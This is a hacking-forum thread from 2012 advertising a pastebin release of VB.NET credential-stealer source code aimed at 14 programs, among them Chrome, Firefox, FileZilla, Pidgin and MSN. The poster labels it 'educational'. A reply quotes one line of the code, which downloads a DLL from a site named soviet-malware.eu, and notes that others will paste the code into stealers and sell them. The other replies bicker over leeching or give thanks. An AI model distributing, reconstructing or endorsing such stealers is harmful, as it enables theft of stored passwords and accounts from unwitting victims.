Thread: [\[Source Code\] - 14 Famous .NET - Visual Basic Stealer Source Codes](#)

AntiCode - August 1, 2012, 3:23 pm

So here's the source code .
as i cannot post here on HF as it has a message limit.
Here's a paste bin link = <http://pastebin.com/VgKAVyZt>

Credits to Cr4zy.

Stealers include.

1. Chrome
2. CoreFTP
3. DynDNS
4. FF1
5. FF2
6. FileZilla
7. FlashFXP
8. FTP Commander
9. IMVU
10. MSN
11. NO-IP
12. PalTalk
13. Pidgin
14. SmartFTP

This is post is to teach vb.net coders and is for educational purposes.

Occulta - August 1, 2012, 3:25 pm

You're teaching them nothing but how to leech, copy and paste.

```
Code My.Computer.Network.DownloadFile("http://soviet-malware.eu/System.Data.SQLite.DLL",  
Application.StartupPath & "\System.Data.SQLite.DLL")  
Why the fuck?
```

Not you leeching, everyone else can just come, copy and paste this into a stealer and sell it. These sources are so scrambled and there is so much junk code in it.

Hey dude, it's better than nothing although I do agree with quality over quantity.

@OP Nice release, sure some will find this useful.

nathan72389 - August 1, 2012, 4:50 pm

lol, you leached off a leacher then gave him (the leacher) credits, when i know of at least 4 different ppl that wrote those.

GOOD JOB !!! leacher.

sanjuoo7 - August 22, 2012, 2:03 am

thank you very very much for this :) i am looking for this
